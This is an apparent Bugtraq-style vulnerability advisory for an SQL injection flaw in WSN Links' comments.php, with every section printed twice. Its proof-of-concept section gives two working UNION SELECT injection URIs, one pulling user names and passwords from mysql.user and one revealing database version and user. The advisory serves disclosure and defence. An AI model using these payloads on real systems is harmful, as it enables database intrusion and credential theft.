WSN Links 'comments.php' SQL Injection Vulnerability
BID:31302
Info
WSN Links 'comments.php' SQL Injection Vulnerability
| Bugtraq ID: | 31302 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6032 CVE-2008-6033 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 22 2008 12:00AM |
| Updated: | Feb 11 2009 10:48PM |
| Credit: | d3v1l and Stack |
| Vulnerable: |
WSN Links WSN Links Basic Edition 0 WSN Links WSN Links 4.0.34P WSN Links WSN Links 2.23 WSN Links WSN Links 2.22 WSN Links WSN Links 2.20 |
| Not Vulnerable: | |
Discussion
WSN Links 'comments.php' SQL Injection Vulnerability
WSN Links is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
WSN Links 4.0.34P is vulnerable; other versions may also be affected.
WSN Links is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
WSN Links 4.0.34P is vulnerable; other versions may also be affected.
Exploit / POC
WSN Links 'comments.php' SQL Injection Vulnerability
Attackers can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
http://www.example.com.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
Attackers can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/*
http://www.example.com.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/*
Solution / Fix
WSN Links 'comments.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].